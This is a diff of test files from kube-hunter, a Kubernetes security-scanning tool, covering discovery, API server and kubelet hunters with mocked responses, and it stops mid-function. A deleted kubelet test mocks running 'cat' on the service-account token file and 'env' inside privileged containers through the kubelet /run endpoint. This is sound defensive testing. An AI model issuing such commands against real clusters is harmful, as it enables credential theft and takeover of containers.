MaliciousIntentViaSecureKubeletPort,
}
@@ -100,20 +90,23 @@ def test_passive_hunters_registered():
assert expected_odd == actual_odd, "Unexpected passive hunters are registered"
def test_active_hunters_registered():
expected_missing = set()
expected_odd = set()
registered_active = remove_test_hunters(handler.active_hunters.keys())
actual_missing = ACTIVE_HUNTERS - registered_active
actual_odd = registered_active - ACTIVE_HUNTERS
assert expected_missing == actual_missing, "Active hunters are missing"
assert expected_odd == actual_odd, "Unexpected active hunters are registered"
# TODO (#334): Active hunters registration cannot be tested since it requires `config.active` to be set
# def test_active_hunters_registered():
# expected_missing = set()
# expected_odd = set()
#
# registered_active = remove_test_hunters(handler.active_hunters.keys())
# actual_missing = ACTIVE_HUNTERS - registered_active
# actual_odd = registered_active - ACTIVE_HUNTERS
#
# assert expected_missing == actual_missing, "Active hunters are missing"
# assert expected_odd == actual_odd, "Unexpected active hunters are registered"
def test_all_hunters_registered():
expected = PASSIVE_HUNTERS | ACTIVE_HUNTERS
# TODO: Enable active hunting mode in testing
# expected = PASSIVE_HUNTERS | ACTIVE_HUNTERS
expected = PASSIVE_HUNTERS
actual = remove_test_hunters(handler.all_hunters.keys())
assert expected == actual

View File

@@ -1,14 +1,10 @@
import time
from kube_hunter.conf import Config, set_config
from kube_hunter.core.types import Hunter
from kube_hunter.core.events.types import Event, Service
from kube_hunter.core.events import handler
counter = 0
first_run = True
set_config(Config())
class OnceOnlyEvent(Service, Event):
@@ -21,16 +17,6 @@ class RegularEvent(Service, Event):
Service.__init__(self, "Test Service")
class AnotherRegularEvent(Service, Event):
def __init__(self):
Service.__init__(self, "Test Service (another)")
class DifferentRegularEvent(Service, Event):
def __init__(self):
Service.__init__(self, "Test Service (different)")
@handler.subscribe_once(OnceOnlyEvent)
class OnceHunter(Hunter):
def __init__(self, event):
@@ -45,36 +31,8 @@ class RegularHunter(Hunter):
counter += 1
@handler.subscribe_many([DifferentRegularEvent, AnotherRegularEvent])
class SmartHunter(Hunter):
def __init__(self, events):
global counter, first_run
counter += 1
# we add an attribute on the second scan.
# here we test that we get the latest event
different_event = events.get_by_class(DifferentRegularEvent)
if first_run:
first_run = False
assert not different_event.new_value
else:
assert different_event.new_value
@handler.subscribe_many([DifferentRegularEvent, AnotherRegularEvent])
class SmartHunter2(Hunter):
def __init__(self, events):
global counter
counter += 1
# check if we can access the events
assert events.get_by_class(DifferentRegularEvent).__class__ == DifferentRegularEvent
assert events.get_by_class(AnotherRegularEvent).__class__ == AnotherRegularEvent
def test_subscribe_mechanism():
global counter
counter = 0
# first test normal subscribe and publish works
handler.publish_event(RegularEvent())
@@ -83,47 +41,13 @@ def test_subscribe_mechanism():
time.sleep(0.02)
assert counter == 3
def test_subscribe_once_mechanism():
global counter
counter = 0
# testing the multiple subscription mechanism
# testing the subscribe_once mechanism
handler.publish_event(OnceOnlyEvent())
handler.publish_event(OnceOnlyEvent())
handler.publish_event(OnceOnlyEvent())
time.sleep(0.02)
# should have been triggered once
assert counter == 1
counter = 0
handler.publish_event(OnceOnlyEvent())
handler.publish_event(OnceOnlyEvent())
handler.publish_event(OnceOnlyEvent())
time.sleep(0.02)
assert counter == 0
def test_subscribe_many_mechanism():
global counter
counter = 0
# testing the multiple subscription mechanism
handler.publish_event(DifferentRegularEvent())
handler.publish_event(DifferentRegularEvent())
handler.publish_event(DifferentRegularEvent())
handler.publish_event(DifferentRegularEvent())
handler.publish_event(DifferentRegularEvent())
handler.publish_event(AnotherRegularEvent())
time.sleep(0.02)
# We expect SmartHunter and SmartHunter2 to be executed once. hence the counter should be 2
assert counter == 2
counter = 0
# Test using most recent event
newer_version_event = DifferentRegularEvent()
newer_version_event.new_value = True
handler.publish_event(newer_version_event)
assert counter == 2

View File

@@ -1,11 +1,6 @@
# flake8: noqa: E402
import requests_mock
import time
from kube_hunter.conf import Config, set_config
set_config(Config())
from kube_hunter.modules.discovery.apiserver import ApiServer, ApiServiceDiscovery
from kube_hunter.core.events.types import Event
from kube_hunter.core.events import handler
@@ -20,9 +15,7 @@ def test_ApiServer():
m.get("https://mockOther:443", text="elephant")
m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403)
m.get(
"https://mockKubernetes:443/version",
text='{"major": "1.14.10"}',
status_code=200,
"https://mockKubernetes:443/version", text='{"major": "1.14.10"}', status_code=200,
)
e = Event()
@@ -46,15 +39,11 @@ def test_ApiServerWithServiceAccountToken():
counter = 0
with requests_mock.Mocker() as m:
m.get(
"https://mockKubernetes:443",
request_headers={"Authorization": "Bearer very_secret"},
text='{"code":200}',
"https://mockKubernetes:443", request_headers={"Authorization": "Bearer very_secret"}, text='{"code":200}',
)
m.get("https://mockKubernetes:443", text='{"code":403}', status_code=403)
m.get(
"https://mockKubernetes:443/version",
text='{"major": "1.14.10"}',
status_code=200,
"https://mockKubernetes:443/version", text='{"major": "1.14.10"}', status_code=200,
)
m.get("https://mockOther:443", text="elephant")
@@ -123,7 +112,7 @@ def test_InsecureApiServer():
# We should only generate an ApiServer event for a response that looks like it came from a Kubernetes node
@handler.subscribe(ApiServer)
class testApiServer:
class testApiServer(object):
def __init__(self, event):
print("Event")
assert event.host == "mockKubernetes"

View File

@@ -1,195 +1,78 @@
# flake8: noqa: E402
from kube_hunter.modules.discovery.hosts import (
FromPodHostDiscovery,
RunningAsPodEvent,
HostScanEvent,
HostDiscoveryHelpers,
)
from kube_hunter.core.types import Hunter
from kube_hunter.core.events import handler
import json
import requests_mock
import pytest
from netaddr import IPNetwork, IPAddress
from typing import List
from kube_hunter.conf import Config, get_config, set_config
set_config(Config())
from kube_hunter.modules.discovery.hosts import (
FromPodHostDiscovery,
RunningAsPodEvent,
HostScanEvent,
AzureMetadataApi,
HostDiscoveryHelpers,
)
from kube_hunter.core.events.types import NewHostEvent
from kube_hunter.core.events import handler
from kube_hunter.conf import config
class TestFromPodHostDiscovery:
@staticmethod
def _make_azure_response(*subnets: List[tuple]) -> str:
return json.dumps(
{
"network": {
"interface": [
{"ipv4": {"subnet": [{"address": address, "prefix": prefix} for address, prefix in subnets]}}
]
}
}
def test_FromPodHostDiscovery():
with requests_mock.Mocker() as m:
e = RunningAsPodEvent()
config.azure = False
config.remote = None
config.cidr = None
m.get(
"http://169.254.169.254/metadata/instance?api-version=2017-08-01", status_code=404,
)
f = FromPodHostDiscovery(e)
assert not f.is_azure_pod()
# TODO For now we don't test the traceroute discovery version
# f.execute()
@staticmethod
def _make_aws_response(*data: List[str]) -> str:
return "\n".join(data)
def test_is_azure_pod_request_fail(self):
f = FromPodHostDiscovery(RunningAsPodEvent())
with requests_mock.Mocker() as m:
m.get("http://169.254.169.254/metadata/instance?api-version=2017-08-01", status_code=404)
result = f.is_azure_pod()
assert not result
def test_is_azure_pod_success(self):
f = FromPodHostDiscovery(RunningAsPodEvent())
with requests_mock.Mocker() as m:
m.get(
"http://169.254.169.254/metadata/instance?api-version=2017-08-01",
text=TestFromPodHostDiscovery._make_azure_response(("3.4.5.6", "255.255.255.252")),
)
result = f.is_azure_pod()
assert result
def test_is_aws_pod_v1_request_fail(self):
f = FromPodHostDiscovery(RunningAsPodEvent())
with requests_mock.Mocker() as m:
m.get("http://169.254.169.254/latest/meta-data/", status_code=404)
result = f.is_aws_pod_v1()
assert not result
def test_is_aws_pod_v1_success(self):
f = FromPodHostDiscovery(RunningAsPodEvent())
with requests_mock.Mocker() as m:
m.get(
"http://169.254.169.254/latest/meta-data/",
text=TestFromPodHostDiscovery._make_aws_response(
"\n".join(
(
"ami-id",
"ami-launch-index",
"ami-manifest-path",
"block-device-mapping/",
"events/",
"hostname",
"iam/",
"instance-action",
"instance-id",
"instance-type",
"local-hostname",
"local-ipv4",
"mac",
"metrics/",
"network/",
"placement/",
"profile",
"public-hostname",
"public-ipv4",
"public-keys/",
"reservation-id",
"security-groups",
"services/",
)
),
),
)
result = f.is_aws_pod_v1()
assert result
def test_is_aws_pod_v2_request_fail(self):
f = FromPodHostDiscovery(RunningAsPodEvent())
with requests_mock.Mocker() as m:
m.put(
"http://169.254.169.254/latest/api/token/",
headers={"X-aws-ec2-metatadata-token-ttl-seconds": "21600"},
status_code=404,
)
m.get(
"http://169.254.169.254/latest/meta-data/",
headers={"X-aws-ec2-metatadata-token": "token"},
status_code=404,
)
result = f.is_aws_pod_v2()
assert not result
def test_is_aws_pod_v2_success(self):
f = FromPodHostDiscovery(RunningAsPodEvent())
with requests_mock.Mocker() as m:
m.put(
"http://169.254.169.254/latest/api/token/",
headers={"X-aws-ec2-metatadata-token-ttl-seconds": "21600"},
text=TestFromPodHostDiscovery._make_aws_response("token"),
)
m.get(
"http://169.254.169.254/latest/meta-data/",
headers={"X-aws-ec2-metatadata-token": "token"},
text=TestFromPodHostDiscovery._make_aws_response(
"\n".join(
(
"ami-id",
"ami-launch-index",
"ami-manifest-path",
"block-device-mapping/",
"events/",
"hostname",
"iam/",
"instance-action",
"instance-id",
"instance-type",
"local-hostname",
"local-ipv4",
"mac",
"metrics/",
"network/",
"placement/",
"profile",
"public-hostname",
"public-ipv4",
"public-keys/",
"reservation-id",
"security-groups",
"services/",
)
),
),
)
result = f.is_aws_pod_v2()
assert result
def test_execute_scan_cidr(self):
set_config(Config(cidr="1.2.3.4/30"))
f = FromPodHostDiscovery(RunningAsPodEvent())
# Test that we generate NewHostEvent for the addresses reported by the Azure Metadata API
config.azure = True
m.get(
"http://169.254.169.254/metadata/instance?api-version=2017-08-01",
text='{"network":{"interface":[{"ipv4":{"subnet":[{"address": "3.4.5.6", "prefix": "255.255.255.252"}]}}]}}',
)
assert f.is_azure_pod()
f.execute()
def test_execute_scan_remote(self):
set_config(Config(remote="1.2.3.4"))
f = FromPodHostDiscovery(RunningAsPodEvent())
# Test that we don't trigger a HostScanEvent unless either config.remote or config.cidr are configured
config.remote = "1.2.3.4"
f.execute()
config.azure = False
config.remote = None
config.cidr = "1.2.3.4/24"
f.execute()
# In this set of tests we should only trigger HostScanEvent when remote or cidr are set
@handler.subscribe(HostScanEvent)
class HunterTestHostDiscovery(Hunter):
"""TestHostDiscovery
In this set of tests we should only trigger HostScanEvent when remote or cidr are set
"""
class testHostDiscovery(object):
def __init__(self, event):
config = get_config()
assert config.remote is not None or config.cidr is not None
assert config.remote == "1.2.3.4" or config.cidr == "1.2.3.4/30"
assert config.remote == "1.2.3.4" or config.cidr == "1.2.3.4/24"
# In this set of tests we should only get as far as finding a host if it's Azure
# because we're not running the code that would normally be triggered by a HostScanEvent
@handler.subscribe(NewHostEvent)
class testHostDiscoveryEvent(object):
def __init__(self, event):
assert config.azure
assert str(event.host).startswith("3.4.5.")
assert config.remote is None
assert config.cidr is None
# Test that we only report this event for Azure hosts
@handler.subscribe(AzureMetadataApi)
class testAzureMetadataApi(object):
def __init__(self, event):
assert config.azure
class TestDiscoveryUtils:
@@ -206,7 +89,7 @@ class TestDiscoveryUtils:
def test_generate_hosts_valid_ignore():
remove = IPAddress("192.168.1.8")
scan = "192.168.1.0/24"
expected = {ip for ip in IPNetwork(scan) if ip != remove}
expected = set(ip for ip in IPNetwork(scan) if ip != remove)
actual = set(HostDiscoveryHelpers.generate_hosts([scan, f"!{str(remove)}"]))

View File

@@ -1,30 +0,0 @@
from kube_hunter.conf import Config, set_config
from kube_hunter.modules.discovery.kubernetes_client import list_all_k8s_cluster_nodes
from unittest.mock import MagicMock, patch
set_config(Config())
def test_client_yields_ips():
client = MagicMock()
response = MagicMock()
client.list_node.return_value = response
response.items = [MagicMock(), MagicMock()]
response.items[0].status.addresses = [MagicMock(), MagicMock()]
response.items[0].status.addresses[0].address = "127.0.0.1"
response.items[0].status.addresses[1].address = "127.0.0.2"
response.items[1].status.addresses = [MagicMock()]
response.items[1].status.addresses[0].address = "127.0.0.3"
with patch("kubernetes.config.load_incluster_config") as m:
output = list(list_all_k8s_cluster_nodes(client=client))
m.assert_called_once()
assert output == ["127.0.0.1", "127.0.0.2", "127.0.0.3"]
def test_client_uses_kubeconfig():
with patch("kubernetes.config.load_kube_config") as m:
list(list_all_k8s_cluster_nodes(kube_config="/location", client=MagicMock()))
m.assert_called_once_with(config_file="/location")

View File

@@ -1,49 +0,0 @@
# flake8: noqa: E402
import requests_mock
from kube_hunter.conf import Config, set_config
import json
set_config(Config())
from kube_hunter.modules.hunting.kubelet import ExposedPodsHandler
from kube_hunter.modules.hunting.aks import AzureSpnHunter
def test_AzureSpnHunter():
e = ExposedPodsHandler(pods=[])
pod_template = '{{"items":[ {{"apiVersion":"v1","kind":"Pod","metadata":{{"name":"etc","namespace":"default"}},"spec":{{"containers":[{{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{{"mountPath":"/mp","name":"v"}}]}}],"volumes":[{{"hostPath":{{"path":"{}"}},"name":"v"}}]}}}} ]}}'
bad_paths = ["/", "/etc", "/etc/", "/etc/kubernetes", "/etc/kubernetes/azure.json"]
good_paths = ["/yo", "/etc/yo", "/etc/kubernetes/yo.json"]
for p in bad_paths:
e.pods = json.loads(pod_template.format(p))["items"]
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c
for p in good_paths:
e.pods = json.loads(pod_template.format(p))["items"]
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None
pod_no_volume_mounts = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}],"volumes":[{"hostPath":{"path":"/whatever"},"name":"v"}]}} ]}'
e.pods = json.loads(pod_no_volume_mounts)["items"]
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None
pod_no_volumes = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test"}]}} ]}'
e.pods = json.loads(pod_no_volumes)["items"]
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None
pod_other_volume = '{"items":[ {"apiVersion":"v1","kind":"Pod","metadata":{"name":"etc","namespace":"default"},"spec":{"containers":[{"command":["sleep","99999"],"image":"ubuntu","name":"test","volumeMounts":[{"mountPath":"/mp","name":"v"}]}],"volumes":[{"emptyDir":{},"name":"v"}]}} ]}'
e.pods = json.loads(pod_other_volume)["items"]
h = AzureSpnHunter(e)
c = h.get_key_container()
assert c == None

View File

@@ -1,12 +1,6 @@
# flake8: noqa: E402
from kube_hunter.core.types.vulnerabilities import AccessK8sApiServerTechnique
import requests_mock
import time
from kube_hunter.conf import Config, set_config
set_config(Config())
from kube_hunter.modules.hunting.apiserver import (
AccessApiServer,
AccessApiServerWithToken,
@@ -22,7 +16,7 @@ from kube_hunter.modules.hunting.apiserver import (
from kube_hunter.modules.hunting.apiserver import ApiServerPassiveHunterFinished
from kube_hunter.modules.hunting.apiserver import CreateANamespace, DeleteANamespace
from kube_hunter.modules.discovery.apiserver import ApiServer
from kube_hunter.core.types import ExposedSensitiveInterfacesTechnique, AccessK8sApiServerTechnique
from kube_hunter.core.types import UnauthenticatedAccess, InformationDisclosure
from kube_hunter.core.events import handler
counter = 0
@@ -57,8 +51,7 @@ def test_AccessApiServer():
with requests_mock.Mocker() as m:
m.get("https://mockKubernetes:443/api", text="{}")
m.get(
"https://mockKubernetes:443/api/v1/namespaces",
text='{"items":[{"metadata":{"name":"hello"}}]}',
"https://mockKubernetes:443/api/v1/namespaces", text='{"items":[{"metadata":{"name":"hello"}}]}',
)
m.get(
"https://mockKubernetes:443/api/v1/pods",
@@ -66,12 +59,10 @@ def test_AccessApiServer():
{"metadata":{"name":"podB", "namespace":"namespaceB"}}]}',
)
m.get(
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/roles",
status_code=403,
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/roles", status_code=403,
)
m.get(
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
text='{"items":[]}',
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", text='{"items":[]}',
)
m.get(
"https://mockkubernetes:443/version",
@@ -95,8 +86,7 @@ def test_AccessApiServer():
# TODO check that these responses reflect what Kubernetes does
m.get("https://mocktoken:443/api", text="{}")
m.get(
"https://mocktoken:443/api/v1/namespaces",
text='{"items":[{"metadata":{"name":"hello"}}]}',
"https://mocktoken:443/api/v1/namespaces", text='{"items":[{"metadata":{"name":"hello"}}]}',
)
m.get(
"https://mocktoken:443/api/v1/pods",
@@ -104,8 +94,7 @@ def test_AccessApiServer():
{"metadata":{"name":"podB", "namespace":"namespaceB"}}]}',
)
m.get(
"https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/roles",
status_code=403,
"https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/roles", status_code=403,
)
m.get(
"https://mocktoken:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
@@ -123,7 +112,7 @@ def test_AccessApiServer():
@handler.subscribe(ListNamespaces)
class test_ListNamespaces:
class test_ListNamespaces(object):
def __init__(self, event):
print("ListNamespaces")
assert event.evidence == ["hello"]
@@ -136,7 +125,7 @@ class test_ListNamespaces:
@handler.subscribe(ListPodsAndNamespaces)
class test_ListPodsAndNamespaces:
class test_ListPodsAndNamespaces(object):
def __init__(self, event):
print("ListPodsAndNamespaces")
assert len(event.evidence) == 2
@@ -159,7 +148,7 @@ class test_ListPodsAndNamespaces:
# Should never see this because the API call in the test returns 403 status code
@handler.subscribe(ListRoles)
class test_ListRoles:
class test_ListRoles(object):
def __init__(self, event):
print("ListRoles")
assert 0
@@ -170,7 +159,7 @@ class test_ListRoles:
# Should only see this when we have a token because the API call returns an empty list of items
# in the test where we have no token
@handler.subscribe(ListClusterRoles)
class test_ListClusterRoles:
class test_ListClusterRoles(object):
def __init__(self, event):
print("ListClusterRoles")
assert event.auth_token == "so-secret"
@@ -179,20 +168,20 @@ class test_ListClusterRoles:
@handler.subscribe(ServerApiAccess)
class test_ServerApiAccess:
class test_ServerApiAccess(object):
def __init__(self, event):
print("ServerApiAccess")
if event.category == ExposedSensitiveInterfacesTechnique:
if event.category == UnauthenticatedAccess:
assert event.auth_token is None
else:
assert event.category == AccessK8sApiServerTechnique
assert event.category == InformationDisclosure
assert event.auth_token == "so-secret"
global counter
counter += 1
@handler.subscribe(ApiServerPassiveHunterFinished)
class test_PassiveHunterFinished:
class test_PassiveHunterFinished(object):
def __init__(self, event):
print("PassiveHunterFinished")
assert event.namespaces == ["hello"]
@@ -234,12 +223,10 @@ def test_AccessApiServerActive():
)
m.post("https://mockKubernetes:443/api/v1/clusterroles", text="{}")
m.post(
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles",
text="{}",
"https://mockkubernetes:443/apis/rbac.authorization.k8s.io/v1/clusterroles", text="{}",
)
m.post(
"https://mockkubernetes:443/api/v1/namespaces/hello-namespace/pods",
text="{}",
"https://mockkubernetes:443/api/v1/namespaces/hello-namespace/pods", text="{}",
)
m.post(
"https://mockkubernetes:443" "/apis/rbac.authorization.k8s.io/v1/namespaces/hello-namespace/roles",
@@ -277,12 +264,12 @@ def test_AccessApiServerActive():
@handler.subscribe(CreateANamespace)
class test_CreateANamespace:
class test_CreateANamespace(object):
def __init__(self, event):
assert "abcde" in event.evidence
@handler.subscribe(DeleteANamespace)
class test_DeleteANamespace:
class test_DeleteANamespace(object):
def __init__(self, event):
assert "2019-02-26" in event.evidence

View File

@@ -1,42 +0,0 @@
# flake8: noqa: E402
from kube_hunter.conf import Config, set_config
set_config(Config())
from kube_hunter.core.events.types import Event
from kube_hunter.modules.hunting.certificates import CertificateDiscovery, CertificateEmail
from kube_hunter.core.events import handler
def test_CertificateDiscovery():
cert = """
-----BEGIN CERTIFICATE-----
MIIDZDCCAkwCCQCAzfCLqrJvuTANBgkqhkiG9w0BAQsFADB0MQswCQYDVQQGEwJV
UzELMAkGA1UECAwCQ0ExEDAOBgNVBAoMB05vZGUuanMxETAPBgNVBAsMCG5vZGUt
Z3lwMRIwEAYDVQQDDAlsb2NhbGhvc3QxHzAdBgkqhkiG9w0BCQEWEGJ1aWxkQG5v
ZGVqcy5vcmcwHhcNMTkwNjIyMDYyMjMzWhcNMjIwNDExMDYyMjMzWjB0MQswCQYD
VQQGEwJVUzELMAkGA1UECAwCQ0ExEDAOBgNVBAoMB05vZGUuanMxETAPBgNVBAsM
CG5vZGUtZ3lwMRIwEAYDVQQDDAlsb2NhbGhvc3QxHzAdBgkqhkiG9w0BCQEWEGJ1
aWxkQG5vZGVqcy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDS
CHjvtVW4HdbbUwZ/ZV9s6U4x0KSoyNQrsCZjB8kRpFPe50DS5mfmu2SNBGYKRgzk
4QEEwFB9N2o8YTWsCefSRl6ti4ToPZqulU4hhRKYrEGtMJcRzi3IN7s200JaO3UH
01Su8ruO0NESb5zEU1Ykfh8Lub8TGEAINmgI61d/5d5Aq3kDjUHQJt1Ekw03Ylnu
juQyCGZxLxnngu0mIvwzyL/UeeUgsfQLzvppUk6In7tC1zzMjSPWo0c8qu6KvrW4
bKYnkZkzdQifzbpO5ERMEsh5HWq0uHa6+dgcVHFvlhdqF4Uat87ygNplVf0txsZB
MNVqbz1k6xkZYMnzDoydAgMBAAEwDQYJKoZIhvcNAQELBQADggEBADspZGtKpWxy
J1W3FA1aeQhMvequQTcMRz4avkm4K4HfTdV1iVD4CbvdezBphouBlyLVLDFJP7RZ
m7dBJVgBwnxufoFLne8cR2MGqDRoySbFT1AtDJdxabE6Fg+QGUpgOQfeBJ6ANlSB
+qJ+HG4QA+Ouh5hxz9mgYwkIsMUABHiwENdZ/kT8Edw4xKgd3uH0YP4iiePMD66c
rzW3uXH5J1jnKgBlpxtog4P6dHCcoq+PZJ17W5bdXNyqC1LPzQqniZ2BNcEZ4ix3
slAZAOWD1zLLGJhBPMV1fa0sHNBWc6oicr3YK/IDb0cp9kiLvnUu1pHy+LWQGqtC
rceJuGsnJEQ=
-----END CERTIFICATE-----
"""
c = CertificateDiscovery(Event())
c.examine_certificate(cert)
@handler.subscribe(CertificateEmail)
class test_CertificateEmail:
def __init__(self, event):
assert event.email == b"build@nodejs.org0"

View File

@@ -1,10 +1,5 @@
# flake8: noqa: E402
import time
from kube_hunter.conf import Config, set_config
set_config(Config())
from kube_hunter.core.events import handler
from kube_hunter.core.events.types import K8sVersionDisclosure
from kube_hunter.modules.hunting.cves import (
@@ -41,7 +36,7 @@ def test_K8sCveHunter():
@handler.subscribe(ServerApiVersionEndPointAccessPE)
class test_CVE_2018_1002105:
class test_CVE_2018_1002105(object):
def __init__(self, event):
global cve_counter
cve_counter += 1

View File

@@ -2,11 +2,7 @@ import json
from types import SimpleNamespace
from requests_mock import Mocker
from kube_hunter.conf import Config, set_config
set_config(Config())
from kube_hunter.modules.hunting.dashboard import KubeDashboard # noqa: E402
from kube_hunter.modules.hunting.dashboard import KubeDashboard
class TestKubeDashboard:

View File

@@ -1,721 +0,0 @@
import requests
import requests_mock
import urllib.parse
import uuid
from kube_hunter.core.events import handler
from kube_hunter.modules.hunting.kubelet import (
AnonymousAuthEnabled,
ExposedExistingPrivilegedContainersViaSecureKubeletPort,
ProveAnonymousAuth,
MaliciousIntentViaSecureKubeletPort,
)
counter = 0
pod_list_with_privileged_container = """{
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "kube-hunter-privileged-deployment-86dc79f945-sjjps",
"namespace": "kube-hunter-privileged"
},
"spec": {
"containers": [
{
"name": "ubuntu",
"securityContext": {
{security_context_definition_to_test}
}
}
]
}
}
]
}
"""
service_account_token = "eyJhbGciOiJSUzI1NiIsImtpZCI6IlR0YmxoMXh..."
env = """PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=kube-hunter-privileged-deployment-86dc79f945-sjjps
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_SERVICE_HOST=10.96.0.1
HOME=/root"""
exposed_privileged_containers = [
{
"container_name": "ubuntu",
"environment_variables": env,
"pod_id": "kube-hunter-privileged-deployment-86dc79f945-sjjps",
"pod_namespace": "kube-hunter-privileged",
"service_account_token": service_account_token,
}
]
cat_proc_cmdline = "BOOT_IMAGE=/boot/bzImage root=LABEL=Mock loglevel=3 console=ttyS0"
number_of_rm_attempts = 1
number_of_umount_attempts = 1
number_of_rmdir_attempts = 1
def create_test_event_type_one():
anonymous_auth_enabled_event = AnonymousAuthEnabled()
anonymous_auth_enabled_event.host = "localhost"
anonymous_auth_enabled_event.session = requests.Session()
return anonymous_auth_enabled_event
def create_test_event_type_two():
exposed_existing_privileged_containers_via_secure_kubelet_port_event = (
ExposedExistingPrivilegedContainersViaSecureKubeletPort(exposed_privileged_containers)
)
exposed_existing_privileged_containers_via_secure_kubelet_port_event.host = "localhost"
exposed_existing_privileged_containers_via_secure_kubelet_port_event.session = requests.Session()
return exposed_existing_privileged_containers_via_secure_kubelet_port_event
def test_get_request_valid_url():
class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/mock"
session_mock.get(url, text="mock")
return_value = class_being_tested.get_request(url)
assert return_value == "mock"
def test_get_request_invalid_url():
class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://localhost:10250/[mock]"
session_mock.get(url, exc=requests.exceptions.InvalidURL)
return_value = class_being_tested.get_request(url)
assert return_value.startswith("Exception: ")
def post_request(url, params, expected_return_value, exception=None):
class_being_tested_one = ProveAnonymousAuth(create_test_event_type_one())
with requests_mock.Mocker(session=class_being_tested_one.event.session) as session_mock:
mock_params = {"text": "mock"} if not exception else {"exc": exception}
session_mock.post(url, **mock_params)
return_value = class_being_tested_one.post_request(url, params)
assert return_value == expected_return_value
class_being_tested_two = MaliciousIntentViaSecureKubeletPort(create_test_event_type_two())
with requests_mock.Mocker(session=class_being_tested_two.event.session) as session_mock:
mock_params = {"text": "mock"} if not exception else {"exc": exception}
session_mock.post(url, **mock_params)
return_value = class_being_tested_two.post_request(url, params)
assert return_value == expected_return_value
def test_post_request_valid_url_with_parameters():
url = "https://localhost:10250/mock?cmd=ls"
params = {"cmd": "ls"}
post_request(url, params, expected_return_value="mock")
def test_post_request_valid_url_without_parameters():
url = "https://localhost:10250/mock"
params = {}
post_request(url, params, expected_return_value="mock")
def test_post_request_invalid_url_with_parameters():
url = "https://localhost:10250/mock?cmd=ls"
params = {"cmd": "ls"}
post_request(url, params, expected_return_value="Exception: ", exception=requests.exceptions.InvalidURL)
def test_post_request_invalid_url_without_parameters():
url = "https://localhost:10250/mock"
params = {}
post_request(url, params, expected_return_value="Exception: ", exception=requests.exceptions.InvalidURL)
def test_has_no_exception_result_with_exception():
mock_result = "Exception: Mock."
return_value = ProveAnonymousAuth.has_no_exception(mock_result)
assert return_value is False
def test_has_no_exception_result_without_exception():
mock_result = "Mock."
return_value = ProveAnonymousAuth.has_no_exception(mock_result)
assert return_value is True
def test_has_no_error_result_with_error():
mock_result = "Mock exited with error."
return_value = ProveAnonymousAuth.has_no_error(mock_result)
assert return_value is False
def test_has_no_error_result_without_error():
mock_result = "Mock."
return_value = ProveAnonymousAuth.has_no_error(mock_result)
assert return_value is True
def test_has_no_error_nor_exception_result_without_exception_and_without_error():
mock_result = "Mock."
return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
assert return_value is True
def test_has_no_error_nor_exception_result_with_exception_and_without_error():
mock_result = "Exception: Mock."
return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
assert return_value is False
def test_has_no_error_nor_exception_result_without_exception_and_with_error():
mock_result = "Mock exited with error."
return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
assert return_value is False
def test_has_no_error_nor_exception_result_with_exception_and_with_error():
mock_result = "Exception: Mock. Mock exited with error."
return_value = ProveAnonymousAuth.has_no_error_nor_exception(mock_result)
assert return_value is False
def proveanonymousauth_success(anonymous_auth_enabled_event, security_context_definition_to_test):
global counter
counter = 0
with requests_mock.Mocker(session=anonymous_auth_enabled_event.session) as session_mock:
url = "https://" + anonymous_auth_enabled_event.host + ":10250/"
listing_pods_url = url + "pods"
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.get(
listing_pods_url,
text=pod_list_with_privileged_container.replace(
"{security_context_definition_to_test}", security_context_definition_to_test
),
)
session_mock.post(
run_url + urllib.parse.quote("cat /var/run/secrets/kubernetes.io/serviceaccount/token", safe=""),
text=service_account_token,
)
session_mock.post(run_url + "env", text=env)
class_being_tested = ProveAnonymousAuth(anonymous_auth_enabled_event)
class_being_tested.execute()
assert "The following containers have been successfully breached." in class_being_tested.event.evidence
assert counter == 1
def test_proveanonymousauth_success_with_privileged_container_via_privileged_setting():
proveanonymousauth_success(create_test_event_type_one(), '"privileged": true')
def test_proveanonymousauth_success_with_privileged_container_via_capabilities():
proveanonymousauth_success(create_test_event_type_one(), '"capabilities": { "add": ["SYS_ADMIN"] }')
def test_proveanonymousauth_connectivity_issues():
class_being_tested = ProveAnonymousAuth(create_test_event_type_one())
with requests_mock.Mocker(session=class_being_tested.event.session) as session_mock:
url = "https://" + class_being_tested.event.host + ":10250/"
listing_pods_url = url + "pods"
